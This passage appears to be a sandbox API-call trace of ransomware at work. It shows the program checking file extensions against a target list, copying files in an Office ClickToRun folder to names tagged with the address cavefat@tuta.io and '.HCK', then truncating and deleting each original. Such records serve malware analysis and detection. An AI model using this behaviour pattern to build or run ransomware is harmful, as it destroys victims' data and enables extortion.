lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.230] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0162.230] SetEndOfFile (hFile=0x370) returned 1 [0162.230] CloseHandle (hObject=0x370) returned 1 [0162.783] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.783] SetEndOfFile (hFile=0x39c) returned 1 [0162.794] CloseHandle (hObject=0x39c) returned 1 [0162.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.795] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString=".doc") returned 4 [0162.803] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString=".docx") returned 5 [0162.803] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0162.803] lstrlenW (lpString=".pdf") returned 4 [0162.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString=".xls") returned 4 [0162.803] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString=".xlsx") returned 5 [0162.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0162.803] lstrlenW (lpString=".ppt") returned 4 [0162.803] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString=".zip") returned 4 [0162.803] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString=".rar") returned 4 [0162.803] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.803] lstrlenW (lpString=".bz2") returned 4 [0162.803] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.803] lstrlenW (lpString=".7z") returned 3 [0162.803] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString=".dbf") returned 4 [0162.803] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString=".1cd") returned 4 [0162.803] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.803] lstrlenW (lpString=".jpg") returned 4 [0162.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString=".doc") returned 4 [0162.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString=".docx") returned 5 [0162.804] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0162.804] lstrlenW (lpString=".pdf") returned 4 [0162.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString=".xls") returned 4 [0162.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString=".xlsx") returned 5 [0162.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0162.804] lstrlenW (lpString=".ppt") returned 4 [0162.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString=".zip") returned 4 [0162.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString=".rar") returned 4 [0162.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.804] lstrlenW (lpString=".bz2") returned 4 [0162.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.804] lstrlenW (lpString=".7z") returned 3 [0162.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString=".dbf") returned 4 [0162.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString=".1cd") returned 4 [0162.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0162.804] lstrlenW (lpString=".jpg") returned 4 [0162.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.804] lstrcmpiW (lpString1=".hash", lpString2=".HCK") returned -1 [0162.804] lstrlenW (lpString="i640.hash") returned 9 [0162.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.805] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=102) returned 1 [0162.805] CloseHandle (hObject=0x39c) returned 1 [0162.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0162.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.805] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.805] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.806] GetLastError () returned 0x0 [0162.806] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x66, lpOverlapped=0x0) returned 1 [0162.806] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x70, lpOverlapped=0x0) returned 1 [0162.807] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.807] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0162.807] SetEndOfFile (hFile=0x330) returned 1 [0162.807] CloseHandle (hObject=0x330) returned 1 [0162.808] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.808] SetEndOfFile (hFile=0x39c) returned 1 [0162.809] CloseHandle (hObject=0x39c) returned 1 [0162.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.809] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0162.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.809] lstrlenW (lpString=".doc") returned 4 [0162.809] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0162.809] lstrlenW (lpString=".docx") returned 5 [0162.809] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0162.809] lstrlenW (lpString=".pdf") returned 4 [0162.810] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".xls") returned 4 [0162.810] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".xlsx") returned 5 [0162.810] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0162.810] lstrlenW (lpString=".ppt") returned 4 [0162.810] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".zip") returned 4 [0162.810] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".rar") returned 4 [0162.810] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".bz2") returned 4 [0162.810] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".7z") returned 3 [0162.810] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".dbf") returned 4 [0162.810] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".1cd") returned 4 [0162.810] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".jpg") returned 4 [0162.810] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".doc") returned 4 [0162.810] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".docx") returned 5 [0162.810] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0162.810] lstrlenW (lpString=".pdf") returned 4 [0162.810] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".xls") returned 4 [0162.810] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".xlsx") returned 5 [0162.810] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0162.810] lstrlenW (lpString=".ppt") returned 4 [0162.810] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.810] lstrlenW (lpString=".zip") returned 4 [0162.810] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0162.810] lstrlenW (lpString=".rar") returned 4 [0162.810] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0162.811] lstrlenW (lpString=".bz2") returned 4 [0162.811] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0162.811] lstrlenW (lpString=".7z") returned 3 [0162.811] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0162.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.811] lstrlenW (lpString=".dbf") returned 4 [0162.811] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0162.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.811] lstrlenW (lpString=".1cd") returned 4 [0162.811] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0162.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0162.811] lstrlenW (lpString=".jpg") returned 4 [0162.811] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0162.811] lstrcmpiW (lpString1=".hash", lpString2=".HCK") returned -1 [0162.811] lstrlenW (lpString="i641033.hash") returned 12 [0162.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.811] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=102) returned 1 [0162.811] CloseHandle (hObject=0x39c) returned 1 [0162.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0162.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.812] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.812] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.812] GetLastError () returned 0x0 [0162.812] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x66, lpOverlapped=0x0) returned 1 [0162.813] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x70, lpOverlapped=0x0) returned 1 [0162.813] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.813] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.813] SetEndOfFile (hFile=0x330) returned 1 [0162.814] CloseHandle (hObject=0x330) returned 1 [0162.814] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.814] SetEndOfFile (hFile=0x39c) returned 1 [0162.815] CloseHandle (hObject=0x39c) returned 1 [0162.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0162.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.816] lstrlenW (lpString=".doc") returned 4 [0162.816] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0162.816] lstrlenW (lpString=".docx") returned 5 [0162.816] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0162.816] lstrlenW (lpString=".pdf") returned 4 [0162.816] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0162.816] lstrlenW (lpString=".xls") returned 4 [0162.816] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0162.816] lstrlenW (lpString=".xlsx") returned 5 [0162.817] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0162.817] lstrlenW (lpString=".ppt") returned 4 [0162.817] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".zip") returned 4 [0162.817] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".rar") returned 4 [0162.817] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".bz2") returned 4 [0162.817] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".7z") returned 3 [0162.817] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".dbf") returned 4 [0162.817] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".1cd") returned 4 [0162.817] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".jpg") returned 4 [0162.817] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".doc") returned 4 [0162.817] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".docx") returned 5 [0162.817] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0162.817] lstrlenW (lpString=".pdf") returned 4 [0162.817] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".xls") returned 4 [0162.817] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".xlsx") returned 5 [0162.817] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0162.817] lstrlenW (lpString=".ppt") returned 4 [0162.817] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".zip") returned 4 [0162.817] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".rar") returned 4 [0162.817] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".bz2") returned 4 [0162.817] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0162.817] lstrlenW (lpString=".7z") returned 3 [0162.817] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0162.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.817] lstrlenW (lpString=".dbf") returned 4 [0162.818] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0162.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.818] lstrlenW (lpString=".1cd") returned 4 [0162.818] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0162.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0162.818] lstrlenW (lpString=".jpg") returned 4 [0162.818] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0162.818] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0162.818] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0162.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.818] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1093248) returned 1 [0162.818] CloseHandle (hObject=0x39c) returned 1 [0162.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0162.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.818] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.818] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.819] GetLastError () returned 0x0 [0162.819] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0163.208] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0163.259] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xae90, lpOverlapped=0x0) returned 1 [0163.266] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xaea0, lpOverlapped=0x0) returned 1 [0163.270] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.270] WriteFile (in: hFile=0x330, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xfc, lpOverlapped=0x0) returned 1 [0163.270] SetEndOfFile (hFile=0x330) returned 1 [0163.270] CloseHandle (hObject=0x330) returned 1 [0163.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.522] SetEndOfFile (hFile=0x39c) returned 1 [0163.523] CloseHandle (hObject=0x39c) returned 1 [0163.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0163.523] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 